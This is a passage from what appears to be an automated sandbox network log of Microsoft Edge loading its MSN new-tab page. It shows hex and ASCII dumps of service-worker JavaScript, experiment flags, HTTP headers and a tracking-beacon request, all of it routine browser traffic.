2024-11-25 11:08:56 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 4e 61 76 43 61 63 68 65 52 65 61 64 50 65 72 66 22 2c 6e 74 3d 22 63 6c 69 65 6e 74 4e 61 76 43 61 63 68 65 64 52 65 73 70 6f 6e 73 65 41 67 65 22 2c 61 74 3d 22 63 6c 69 65 6e 74 4e 61 76 43 61 63 68 65 53 74 61 74 75 73 4d 61 70 22 2c 72 74 3d 22 63 6c 69 65 6e 74 4e 61 76 52 6f 75 74 69 6e 67 4d 6f 64 65 22 2c 69 74 3d 22 63 6c 69 65 6e 74 4e 61 76 53 74 72 61 74 65 67 79 52 6f 75 74 69 6e 67 50 65 72 66 22 2c 6f 74 3d 22 66 65 65 64 5f 64 69 73 22 2c 63 74 3d 22 73 65 63 2d 65 64 67 65 2d 6e 74 70 22 2c 6c 74 3d 22 77 69 64 67 65 74 6f 6e 6c 6f 63 6b 73 63 72 65 65 6e 22 2c 68 74 3d 22 77 69 6e 70 32 22 3b 66 75 6e 63 74 69 6f 6e 20 75 74 28 65 29 7b 72 65 74 75 72 6e 22 6e 6f 2d 73 74 6f 72 65 22 3d 3d 3d 65 2e 68 65 61 64 65 72 73 Data Ascii: 2000NavCacheReadPerf",nt="clientNavCachedResponseAge",at="clientNavCacheStatusMap",rt="clientNavRoutingMode",it="clientNavStrategyRoutingPerf",ot="feed_dis",ct="sec-edge-ntp",lt="widgetonlockscreen",ht="winp2";function ut(e){return"no-store"===e.headers
2024-11-25 11:08:56 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 78 74 2d 72 69 76 65 72 2d 56 31 22 29 2c 73 3d 61 77 61 69 74 20 65 2e 6b 65 79 73 28 29 7c 7c 5b 5d 3b 69 66 28 73 2e 6c 65 6e 67 74 68 3e 30 29 7b 63 6f 6e 73 74 20 65 3d 73 2e 6d 61 70 28 28 65 3d 3e 65 2e 75 72 6c 29 29 3b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 73 77 43 61 63 68 65 45 6e 61 62 6c 65 64 20 62 75 74 20 63 61 63 68 65 64 20 72 65 73 70 6f 6e 73 65 20 6e 6f 74 20 6d 61 74 63 68 3a 20 22 2b 65 2e 74 6f 53 74 72 69 6e 67 28 29 29 7d 65 6c 73 65 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 73 77 43 61 63 68 65 45 6e 61 62 6c 65 64 20 62 75 74 20 6e 6f 20 63 61 63 68 65 20 66 6f 75 6e 64 65 64 22 29 7d 7d 72 65 74 75 72 6e 20 61 7d 5f 67 65 74 54 69 6d 65 6f 75 74 50 72 6f 6d 69 73 65 28 7b 72 65 71 75 65 73 74 3a Data Ascii: 2000xt-river-V1"),s=await e.keys()\|\|[];if(s.length>0){const e=s.map((e=>e.url));console.error("swCacheEnabled but cached response not match: "+e.toString())}else console.error("swCacheEnabled but no cache founded")}}return a}_getTimeoutPromise({request:
2024-11-25 11:08:56 UTC	1671	IN	Data Raw: 36 38 30 0d 0a 74 28 74 2e 68 72 65 66 29 7d 67 65 74 49 6e 74 65 67 72 69 74 79 46 6f 72 43 61 63 68 65 4b 65 79 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 63 61 63 68 65 4b 65 79 73 54 6f 49 6e 74 65 67 72 69 74 69 65 73 2e 67 65 74 28 65 29 7d 61 73 79 6e 63 20 6d 61 74 63 68 50 72 65 63 61 63 68 65 28 65 29 7b 63 6f 6e 73 74 20 74 3d 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 71 75 65 73 74 3f 65 2e 75 72 6c 3a 65 2c 73 3d 74 68 69 73 2e 67 65 74 43 61 63 68 65 4b 65 79 46 6f 72 55 52 4c 28 74 29 3b 69 66 28 73 29 72 65 74 75 72 6e 28 61 77 61 69 74 20 73 65 6c 66 2e 63 61 63 68 65 73 2e 6f 70 65 6e 28 74 68 69 73 2e 73 74 72 61 74 65 67 79 2e 63 61 63 68 65 4e 61 6d 65 29 29 2e 6d 61 74 63 68 28 73 29 7d 63 72 65 61 74 65 48 61 6e 64 6c 65 Data Ascii: 680t(t.href)}getIntegrityForCacheKey(e){return this._cacheKeysToIntegrities.get(e)}async matchPrecache(e){const t=e instanceof Request?e.url:e,s=this.getCacheKeyForURL(t);if(s)return(await self.caches.open(this.strategy.cacheName)).match(s)}createHandle
2024-11-25 11:08:56 UTC	3268	IN	Data Raw: 63 62 64 0d 0a 61 3d 74 7d 4e 28 29 2e 72 65 67 69 73 74 65 72 52 6f 75 74 65 28 61 29 7d 28 6e 65 77 20 44 74 28 73 2c 74 29 29 7d 28 73 29 7d 76 61 72 20 71 74 3b 71 74 3d 7b 63 61 63 68 65 4e 61 6d 65 44 65 74 61 69 6c 73 3a 7b 70 72 65 66 69 78 3a 22 65 64 67 65 6e 65 78 74 22 2c 73 75 66 66 69 78 3a 22 56 31 22 2c 70 72 65 63 61 63 68 65 3a 22 70 72 65 22 2c 72 75 6e 74 69 6d 65 3a 22 72 75 6e 74 69 6d 65 22 2c 62 61 73 65 46 61 6c 6c 62 61 63 6b 3a 22 62 61 73 65 2d 66 61 6c 6c 62 61 63 6b 22 7d 7d 2c 73 65 6c 66 2e 73 74 61 74 65 3d 7b 7d 2c 73 65 6c 66 2e 73 74 61 74 65 2e 63 6c 69 65 6e 74 4e 61 76 43 61 63 68 65 53 74 61 74 75 73 4d 61 70 3d 6e 65 77 20 4d 61 70 2c 73 65 6c 66 2e 73 74 61 74 65 2e 63 6c 69 65 6e 74 4e 61 76 46 65 74 63 68 50 65 Data Ascii: cbda=t}N().registerRoute(a)}(new Dt(s,t))}(s)}var qt;qt={cacheNameDetails:{prefix:"edgenext",suffix:"V1",precache:"pre",runtime:"runtime",baseFallback:"base-fallback"}},self.state={},self.state.clientNavCacheStatusMap=new Map,self.state.clientNavFetchPe
2024-11-25 11:08:56 UTC	770	IN	Data Raw: 32 66 62 0d 0a 2e 77 6f 72 6b 62 6f 78 2e 63 6f 72 65 2e 73 6b 69 70 57 61 69 74 69 6e 67 29 28 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 65 6c 66 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 61 63 74 69 76 61 74 65 22 2c 28 28 29 3d 3e 73 65 6c 66 2e 63 6c 69 65 6e 74 73 2e 63 6c 61 69 6d 28 29 29 29 7d 7c 7c 73 2e 67 2e 77 6f 72 6b 62 6f 78 2e 63 6f 72 65 2e 63 6c 69 65 6e 74 73 43 6c 61 69 6d 29 28 29 2c 28 65 3d 3e 7b 69 66 28 22 70 72 65 63 61 63 68 65 22 69 6e 20 65 26 26 30 3d 3d 3d 65 2e 70 72 65 63 61 63 68 65 2e 6c 65 6e 67 74 68 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 20 70 72 65 63 61 63 68 65 20 6e 61 6d 65 22 29 3b 69 66 28 22 72 75 6e 74 69 6d 65 22 69 6e 20 65 26 26 30 3d 3d 3d 65 2e 72 75 6e 74 69 6d Data Ascii: 2fb.workbox.core.skipWaiting)(),(function(){self.addEventListener("activate",(()=>self.clients.claim()))}\|\|s.g.workbox.core.clientsClaim)(),(e=>{if("precache"in e&&0===e.precache.length)throw Error("invalid precache name");if("runtime"in e&&0===e.runtim

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49810	204.79.197.203	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:55 UTC	2137	OUT	GET /edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true HTTP/1.1 Host: ntp.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-viewport-height: 876 sec-ch-ua-arch: "x86" sec-ch-viewport-width: 1232 sec-ch-ua-platform-version: "10.0.0" downlink: 1.4 sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" device-memory: 8 rtt: 650 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-full-version: "117.0.2045.47" sec-ch-dpr: 1 ect: 3g Accept: / sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false} Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=354610CE91CB4454A7EDD3A26242369F.RefC=2024-11-25T11:08:41Z; USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; MUIDB=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=de34173b-fe96-4429-96a0-2bd098790f4d; ai_session=It58WRYGMta7xZuGvi5tuj\|1732532933071\|1732532933071; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=354610CE91CB4454A7EDD3A26242369F.RefC=2024-11-25T11:08:41Z
2024-11-25 11:08:56 UTC	8201	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 54955 Content-Type: text/html; charset=utf-8 Set-Cookie: _C_ETH=1; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: sptmarket_restored=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; domain=.msn.com; path=/; httponly Access-Control-Allow-Methods: HEAD,GET,OPTIONS Content-Security-Policy: child-src 'self';connect-src 'self' .mavideo.microsoft.com arc.msn.com assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn browser.events.data.msn.com browser.events.data.msn.cn browser.events.data.microsoftstart.com browser.events.data.microsoftstart.cn business.bing.com/api/ usgov.business.bing.com/api/ cdn.hubblecontent.osi.office.net copilotexplore.azurewebsites.net events-sandbox.data.msn.com events-sandbox.data.msn.cn events-sandbox.data.microsoftstart.com events-sandbox.data.microsoftstart.cn finance-services.msn.com https://.sharepoint.com/_api/v2.0/ https://.sharepoint-df.com/_api/v2.0/ https://.sharepoint.com/_api/v2.1/ https://*.sharepoint-df.com/_api/v2.1/ https://bingretailmsndata.azureedge.net/msndata/ https://browser.pipe.aria.microsoft.com/Collector/ https://dev.virtualearth.net/REST/v1/Imagery/ https://dev.ditu.live.com/REST/v1/Imagery/ https://ecn.dev.virtualearth.net https://jsconfig.adsafeprotected.com https://g.bing.com https://msx.bing.com https://pet [TRUNCATED] X-Robots-Tag: noindex X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1 X-UA-Compatible: IE=Edge;chrome=1 x-fabric-cluster: pmeprodeus report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]},{"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://deff.nelreports.net/api/report"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.5} Strict-Transport-Security: max-age=1209600; includeSubDomains; preload Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Prefers-Color-Scheme, Device-Memory, Downlink, ECT, RTT, Sec-CH-DPR X-Ceto-ref: 67445ac706224435b1f4553af627fe6d\|AFD:BCD51143855948019C5497C5CA4BCD24\|2024-11-25T11:08:55.988Z X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: BCD51143855948019C5497C5CA4BCD24 Ref B: EWR30EDGE1005 Ref C: 2024-11-25T11:08:56Z Date: Mon, 25 Nov 2024 11:08:55 GMT Connection: close
2024-11-25 11:08:56 UTC	147	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 20 3e 0d 0a 3c 68 65 61 64 20 64 61 74 61 2d 69 6e 66 6f 3d 22 66 3a 6d 73 6e 61 6c 6c 65 78 70 75 73 65 72 73 2c 70 72 67 2d 73 70 2d 6c 69 76 65 61 70 69 2c 70 72 67 2d 65 74 71 6f 68 70 61 64 2c 70 72 67 2d 64 6c 74 71 2c 70 72 67 2d 65 68 70 73 62 74 71 73 74 2c 70 72 67 2d 65 68 70 73 62 68 76 63 2c Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr" ><head data-info="f:msnallexpusers,prg-sp-liveapi,prg-etqohpad,prg-dltq,prg-ehpsbtqst,prg-ehpsbhvc,
2024-11-25 11:08:56 UTC	71	IN	Data Raw: 6d 6d 73 2d 73 63 2d 73 63 5f 63 6f 6e 33 2c 78 61 64 73 2d 61 64 71 69 73 63 62 6d 6d 2d 74 2c 70 72 67 2d 69 6e 66 6f 70 2d 61 64 73 2d 64 6c 2d 74 32 2c 70 72 67 2d 31 73 77 2d 73 61 76 61 6e 69 6c 6c 61 70 72 Data Ascii: mms-sc-sc_con3,xads-adqiscbmm-t,prg-infop-ads-dl-t2,prg-1sw-savanillapr
2024-11-25 11:08:56 UTC	689	IN	Data Raw: 6f 64 2c 70 72 67 2d 31 73 77 2d 6d 73 6e 63 74 72 6c 2c 70 72 67 2d 31 73 77 2d 6e 6f 72 65 74 72 79 2c 70 72 67 2d 31 73 77 2d 74 6d 75 69 64 73 79 6e 63 72 66 77 6f 65 72 72 2c 70 72 67 2d 31 73 77 2d 72 65 66 72 65 73 68 70 2c 70 72 67 2d 31 73 77 2d 74 6d 75 69 64 31 73 73 79 6e 63 2c 31 73 2d 6e 74 66 31 2d 66 67 64 69 70 36 2c 70 72 67 2d 66 69 6e 2d 6c 32 64 75 65 61 2c 32 34 30 39 2d 6e 65 77 2d 62 69 6e 67 2d 64 65 73 69 67 6e 2d 63 2c 70 72 67 2d 61 64 73 70 65 65 6b 2c 31 73 2d 6e 74 66 31 2d 72 64 69 64 32 61 2c 31 73 2d 6e 74 66 31 2d 66 73 70 74 62 72 63 2c 31 73 2d 6e 74 66 31 2d 70 6e 6f 74 73 2c 31 73 2d 6e 74 66 31 2d 72 64 69 64 32 2c 31 73 2d 6e 74 66 31 2d 72 64 69 64 78 32 2c 70 72 67 2d 31 73 77 2d 6d 6f 6e 65 78 70 62 2c 70 72 67 Data Ascii: od,prg-1sw-msnctrl,prg-1sw-noretry,prg-1sw-tmuidsyncrfwoerr,prg-1sw-refreshp,prg-1sw-tmuid1ssync,1s-ntf1-fgdip6,prg-fin-l2duea,2409-new-bing-design-c,prg-adspeek,1s-ntf1-rdid2a,1s-ntf1-fsptbrc,1s-ntf1-pnots,1s-ntf1-rdid2,1s-ntf1-rdidx2,prg-1sw-monexpb,prg
2024-11-25 11:08:56 UTC	436	IN	Data Raw: 63 6f 6d 62 2c 70 72 67 2d 70 72 32 2d 70 72 65 31 73 69 6d 61 67 65 73 2c 70 72 67 2d 70 72 32 2d 70 72 65 31 73 77 61 72 6d 2c 70 72 67 2d 70 72 32 2d 70 72 65 31 73 77 61 72 73 2c 70 72 67 2d 70 72 32 2d 70 72 65 31 73 77 61 72 77 2c 31 73 2d 6e 74 66 32 2d 72 64 69 64 32 61 2c 31 73 2d 6e 74 66 32 2d 66 73 70 74 62 72 63 2c 31 73 2d 6e 74 66 32 2d 70 6e 6f 74 73 2c 31 73 2d 6e 74 66 32 2d 72 64 69 64 32 2c 31 73 2d 6e 74 66 32 2d 72 64 69 64 78 32 2c 70 72 67 2d 70 32 2d 74 73 34 63 6f 6c 64 2c 70 72 67 2d 70 72 32 2d 6d 6f 6e 65 78 70 62 2c 70 72 67 2d 70 72 32 2d 6d 6f 6e 65 78 70 62 66 2c 70 72 67 2d 70 72 32 2d 70 6e 6f 74 69 61 2c 66 6f 6f 74 65 72 2d 73 65 61 72 63 68 2d 61 6e 64 72 6f 69 64 2d 74 2c 70 72 67 2d 32 66 63 61 70 2d 74 61 61 69 6d Data Ascii: comb,prg-pr2-pre1simages,prg-pr2-pre1swarm,prg-pr2-pre1swars,prg-pr2-pre1swarw,1s-ntf2-rdid2a,1s-ntf2-fsptbrc,1s-ntf2-pnots,1s-ntf2-rdid2,1s-ntf2-rdidx2,prg-p2-ts4cold,prg-pr2-monexpb,prg-pr2-monexpbf,prg-pr2-pnotia,footer-search-android-t,prg-2fcap-taaim
2024-11-25 11:08:56 UTC	4096	IN	Data Raw: 63 67 2d 69 6e 67 61 6d 65 73 2d 78 6e 2d 61 64 73 2c 70 72 67 2d 63 67 2d 69 6e 2d 67 6d 2d 78 6e 2d 61 64 73 2c 70 72 67 2d 31 73 2d 77 6f 72 6b 69 64 2c 70 72 67 2d 73 74 72 72 74 6e 67 2d 67 31 2c 70 72 67 2d 31 73 2d 6f 74 65 6c 2c 70 72 67 2d 31 73 77 2d 63 6c 61 72 69 2c 70 72 67 2d 31 73 77 2d 70 72 32 63 6c 61 72 69 74 79 2c 31 73 2d 74 65 6d 70 2d 77 69 64 2d 74 2c 70 72 67 2d 31 73 2d 74 77 69 64 2c 61 64 73 2d 6e 6f 70 6f 73 74 73 71 2d 74 2c 61 64 73 2d 6e 6f 70 6f 73 74 73 71 2c 31 73 2d 75 61 73 64 69 73 66 2d 74 2c 61 64 73 2d 75 73 65 70 6d 65 2c 70 72 67 2d 31 73 77 2d 66 69 6e 76 6c 64 63 2c 61 64 73 2d 61 6e 6a 73 6f 6e 2d 6d 69 67 74 2c 61 64 73 2d 75 6e 69 66 6f 72 6d 63 72 6c 6f 67 2c 61 64 73 2d 75 6e 69 66 63 72 6c 6f 67 2d 74 2c Data Ascii: cg-ingames-xn-ads,prg-cg-in-gm-xn-ads,prg-1s-workid,prg-strrtng-g1,prg-1s-otel,prg-1sw-clari,prg-1sw-pr2clarity,1s-temp-wid-t,prg-1s-twid,ads-nopostsq-t,ads-nopostsq,1s-uasdisf-t,ads-usepme,prg-1sw-finvldc,ads-anjson-migt,ads-uniformcrlog,ads-unifcrlog-t,
2024-11-25 11:08:56 UTC	4096	IN	Data Raw: 74 3b 62 72 6f 77 73 65 72 54 79 70 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 64 67 65 43 68 72 6f 6d 69 75 6d 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 76 65 72 73 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 31 31 37 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 69 73 6d 6f 62 69 6c 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 66 61 6c 73 65 26 71 75 6f 74 3b 7d 2c 20 26 71 75 6f 74 3b 64 6f 6d 61 69 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 6e 74 70 2e 6d 73 6e 2e 63 6f 6d 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 72 65 71 75 65 73 74 54 72 61 69 6c 49 6e 66 6f 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 66 6c 69 67 68 74 56 65 72 73 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 35 33 34 39 37 38 39 36 26 71 75 6f 74 3b 7d 2c 20 26 71 75 6f 74 3b 64 65 Data Ascii: t;browserType":"edgeChromium", "version":"117", "ismobile":"false"}, "domain":"ntp.msn.com", "requestTrailInfo":{"flightVersion":"53497896"}, "de
2024-11-25 11:08:56 UTC	4096	IN	Data Raw: 6e 73 74 20 65 3d 6e 2e 65 2c 74 3d 7b 7d 3b 6e 2e 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 72 65 74 75 72 6e 20 65 28 6f 29 2e 63 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 6f 6e 73 74 20 69 3d 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6f 29 3f 74 5b 6f 5d 3a 32 3b 69 66 28 31 3d 3d 3d 69 26 26 28 6e 2e 70 3d 6e 2e 70 2e 72 65 70 6c 61 63 65 28 22 2f 61 73 73 65 74 73 2e 22 2c 22 2f 61 73 73 65 74 73 32 2e 22 29 29 2c 69 3c 31 29 74 68 72 6f 77 20 65 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 5b 6f 5d 3d 69 2d 31 2c 65 28 6e 2e 65 28 6f 29 29 7d 29 2c 31 30 30 29 7d 29 29 7d 29 29 7d 7d 7d 28 29 2c 66 75 Data Ascii: nst e=n.e,t={};n.e=function(o){return e(o).catch((function(e){const i=t.hasOwnProperty(o)?t[o]:2;if(1===i&&(n.p=n.p.replace("/assets.","/assets2.")),i<1)throw e;return new Promise((function(e){setTimeout((function(){t[o]=i-1,e(n.e(o))}),100)}))}))}}}(),fu
2024-11-25 11:08:56 UTC	4096	IN	Data Raw: 6f 6e 73 74 72 75 63 74 6f 72 28 65 3d 32 30 29 7b 74 68 69 73 2e 6d 61 78 4c 65 6e 67 74 68 3d 65 2c 74 68 69 73 2e 6c 69 73 74 3d 5b 5d 7d 70 75 73 68 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 2e 70 75 73 68 28 65 29 2c 74 68 69 73 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 3e 74 68 69 73 2e 6d 61 78 4c 65 6e 67 74 68 26 26 74 68 69 73 2e 6c 69 73 74 2e 73 68 69 66 74 28 29 7d 67 65 74 20 64 61 74 61 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6c 69 73 74 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6e 2c 6f 3d 42 2e 41 6c 65 72 74 2c 69 2c 72 2c 63 29 7b 74 72 79 7b 63 6f 6e 73 74 20 6c 3d 73 28 29 2c 75 3d 61 28 29 2c 70 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 29 7b 63 6f 6e 73 74 7b 70 63 73 49 6e 66 6f 3a 74 2c 70 61 67 65 47 65 6e 54 69 Data Ascii: onstructor(e=20){this.maxLength=e,this.list=[]}push(e){this.list.push(e),this.list.length>this.maxLength&&this.list.shift()}get data(){return this.list}};function H(e,t,n,o=B.Alert,i,r,c){try{const l=s(),u=a(),p=function(e){if(e){const{pcsInfo:t,pageGenTi
2024-11-25 11:08:56 UTC	4096	IN	Data Raw: 29 3f 22 6e 74 70 22 3a 22 64 68 70 22 7d 72 65 74 75 72 6e 20 74 7d 6c 65 74 20 56 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 76 61 72 20 65 2c 74 3b 69 66 28 21 64 28 29 29 72 65 74 75 72 6e 20 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6e 75 6c 6c 3d 3d 3d 28 65 3d 77 69 6e 64 6f 77 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 56 7c 7c 28 56 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 77 69 6e 64 6f 77 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 29 3b 72 65 74 75 72 6e 20 56 7d 63 6f 6e 73 74 20 4b 3d 32 32 33 33 30 30 2c 58 3d 32 32 33 33 30 Data Ascii: )?"ntp":"dhp"}return t}let V;function G(){var e,t;if(!d())return new URLSearchParams(null===(e=window)\|\|void 0===e?void 0:e.location.search);V\|\|(V=new URLSearchParams(null===(t=window)\|\|void 0===t?void 0:t.location.search));return V}const K=223300,X=22330
2024-11-25 11:08:56 UTC	4096	IN	Data Raw: 22 2c 22 6d 73 65 64 67 64 68 70 68 64 72 22 2c 22 6d 73 65 64 67 6e 74 70 68 64 72 22 2c 22 6d 73 65 64 67 6e 74 70 22 2c 22 6d 73 65 64 67 64 68 70 22 2c 22 65 6e 74 6e 65 77 73 6e 74 70 22 5d 29 2c 6e 65 77 20 53 65 74 28 5b 22 68 70 6d 73 6e 22 5d 29 29 3b 6e 65 77 20 53 65 74 28 5b 22 63 68 72 6f 6d 65 6e 74 70 6e 65 77 73 22 5d 29 3b 66 75 6e 63 74 69 6f 6e 20 49 65 28 29 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 20 64 28 29 3f 61 65 28 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 64 61 74 61 73 65 74 2e 63 6c 69 65 6e 74 53 65 74 74 69 6e 67 73 7c 7c 28 6e 75 6c 6c 3d 3d 3d 28 65 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 70 65 72 65 67 72 69 6e 65 2d 77 69 64 67 65 74 2d 73 65 74 74 69 6e 67 73 Data Ascii: ","msedgdhphdr","msedgntphdr","msedgntp","msedgdhp","entnewsntp"]),new Set(["hpmsn"]));new Set(["chromentpnews"]);function Ie(){var e;return d()?ae(document.head.dataset.clientSettings\|\|(null===(e=document.getElementsByClassName("peregrine-widget-settings

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49814	18.173.219.111	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:56 UTC	1012	OUT	GET /b2?rn=1732532933075&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0A576580DC7A6D0124D170C2DDEE6CAA&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1C296e1bec5e46dcb1708fc1732532934; XID=1C296e1bec5e46dcb1708fc1732532934
2024-11-25 11:08:56 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Mon, 25 Nov 2024 11:08:56 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 a41c564554b07cc8611f5945b432513a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: kAnhThDjABXkDcTstc0WScIL1S955RwGkxBvXcKmiWabRgAP8ki13g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49816	104.117.182.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
